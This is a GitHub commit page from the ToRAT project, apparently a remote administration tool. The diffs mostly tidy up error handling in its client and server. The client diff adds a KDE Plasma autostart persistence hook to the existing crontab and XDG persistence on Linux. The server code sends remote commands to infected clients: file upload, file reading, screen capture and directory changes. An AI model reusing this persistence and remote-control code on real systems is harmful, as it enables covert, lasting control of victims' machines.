Skip to content

Commit

Permalink
fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
lu4p committed Nov 30, 2019
1 parent 1542364 commit 48b07b1
Show file tree
Hide file tree
Showing 3 changed files with 17 additions and 16 deletions.
1 change: 1 addition & 0 deletions torat_client/persit_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ func PersistAdmin(path string) {
func PersistUser(path string) {
xdg(path, false)
crontab(path)
kdePlasma(path)
}

func crontab(path string) {
Expand Down
10 changes: 5 additions & 5 deletions torat_client/setup.go
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,10 @@ func copyExecuteable() error {
if err != nil {
return err
}
os.MkdirAll(Path, os.ModePerm)
err = os.MkdirAll(Path, os.ModePerm)
if err != nil {
return err
}
return ioutil.WriteFile(PathExe, data, os.ModePerm)
}

Expand All @@ -42,10 +45,7 @@ func CheckSetup() bool {
osexe, _ := os.Executable()
if osexe == PathExe {
_, err := os.Stat(filepath.Join(Path, "token"))
if err != nil {
return false
}
return true
return err != nil
}
return false
}
Expand Down
22 changes: 11 additions & 11 deletions torat_server/shell.go
Original file line number Diff line number Diff line change
Expand Up @@ -72,11 +72,11 @@ func Shell() {
shell.AddCmd(&ishell.Cmd{
Name: "cd",
Func: func(c *ishell.Context) {
os.Chdir(strings.Join(c.Args, " "))
cwd, err := os.Getwd()
err := os.Chdir(strings.Join(c.Args, " "))
if err != nil {
log.Fatalln("Could not change directory:", err)
}
cwd, _ := os.Getwd()

shell.SetPrompt(blue(cwd) + "$ ")

Expand Down Expand Up @@ -256,9 +256,8 @@ func (client *activeClient) Upload(c *ishell.Context) {
Perm: info.Mode(),
}

var r error
client.RPC.Call("API.RecvFile", f, &r)
if r != nil {
err = client.RPC.Call("API.RecvFile", f, &void)
if err != nil {
c.ProgressBar().Final(red("[!] Upload failed"))
c.ProgressBar().Stop()
}
Expand All @@ -267,10 +266,8 @@ func (client *activeClient) Upload(c *ishell.Context) {

}

func (client *activeClient) Ping(c *ishell.Context) {
var r string

client.RPC.Call("API.Ping", void, &r)
func (client *activeClient) Ping(c *ishell.Context) error {
return client.RPC.Call("API.Ping", void, &void)
}

func (client *activeClient) Screen(c *ishell.Context) {
Expand Down Expand Up @@ -307,8 +304,11 @@ func (client *activeClient) Reconnect(c *ishell.Context) {
func (client *activeClient) Cat(c *ishell.Context) {
path := strings.Join(c.Args, " ")
var r string
client.RPC.Call("API.Cat", path, &r)
println(r)
err := client.RPC.Call("API.Cat", path, &r)
if err != nil {
c.Println(err)
}
c.Println(r)
}

func (client *activeClient) Cd(c *ishell.Context) {
Expand Down

0 comments on commit 48b07b1

Please sign in to comment.